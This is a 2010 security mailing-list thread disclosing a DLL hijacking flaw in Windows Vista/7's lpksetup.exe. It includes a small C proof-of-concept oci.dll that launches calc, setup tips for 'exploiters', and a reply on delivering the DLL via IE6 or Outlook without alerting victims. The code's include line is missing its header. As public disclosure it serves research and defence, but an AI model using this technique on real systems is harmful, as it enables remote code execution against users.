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Re: Windows Vista/7 lpksetup dll hijack
From: TBorland1 () gmail com
Date: Mon, 25 Oct 2010 22:39:10 +0000

The language file installer can be completely legitimate. The actual exploit is the process running the library from the remote location. This will execute the library/code in the context of the running application under the current user and will not present a warning dialog box depending on your chosen method if attack. I have made sure that this does also not care if UAC allows the application to run or not.

I have provided a link to ACROS's look into the different attack vectors to give you more clues as to how this can be exploited without any hassling alerts to the victim/end user. IE6 and Outlook seem to be the most prevalent ways of doing this. However, there are certainly other more interesting vectors out there.

Have you tested out the actual exploit method in a lab environment yet to see just what can be done as I have?

On Oct 25, 2010 5:34pm, "Thor (Hammer of God)" <thor () hammerofgod com> wrote:


If you are considering this “Remote Code Execution” then why not just have the victim run an .exe from the “complete anonymous share” you've managed to get people connected to and save all the trouble? This would still run as the user context, and if the hijacked DLL tried to do something a normal user couldn't do then it too would be blocked or fail anyway.


t




From: full-disclosure-bounces () lists grok org uk [mailto:full-disclosure-bounces () lists grok org uk]
On Behalf Of Tyler Borland

Sent: Monday, October 25, 2010 1:55 PM

To: Full-Disclosure mailing list

Cc: bugtraq () securityfocus com

Subject: [Full-disclosure] Windows Vista/7 lpksetup dll hijack





/*

Exploit: Windows Vista/7 lpksetup.exe (oci.dll) DLL Hijacking Vulnerability

Extension: .mlc

Author: Tyler Borland (tborland1 () gmail com)

Date: 10/20/2010

Tested on: Windows 7 Ultimate (Windows Vista Ultimate/Enterpries and Windows 7 Enterprise should be vulnerable as well)

Effect: Remote Code Execution



lpksetup is the language pack installer that is included by default with Windows Vista/7 Ultimate or Enterprise editions. By opening a .mlc file through something like an open SMB or WebDav share, the oci.dll file will be grabbed and ran in the context of
the vulnerable application.



This is a LoadLibrary() load path bug. The load library search order is:

1. The directory from which the application loaded

2. 32-bit System directory (Windows\System32)

3. 16-bit System directory (Windows\System)

4. Windows directory (Windows)

5. Current working directory

6. Directories in the PATH environment variable

As OracleOciLib is not used on target system, oci.dll does not exist, so if a full path is not supplied when calling the dll or the search path has not been cleared before the call, we will hit our fifth search path and load the library from the remote filesystem.



Interestingly enough, while lpksetup is blocked for execution by UAC under a normal user, the injected library (payload) will still execute.

Exploiters make sure your system's security policy, secpol.msc, allows complete anonymous share access for connecting users.

Outlook links seem to be the current exploit toyland, other vectors:
http://www.binaryplanting.com/attackVectors.htm

*/



#include



int main()

{

WinExec("calc", SW_NORMAL); // the typical non-lethal PoC

exit(0);

return 0;

}



BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)

{

main();

return 0;

}



/* ~/.wine/drive_c/MinGW/bin/wine gcc.exe lpksetup.c -o oci.dll */






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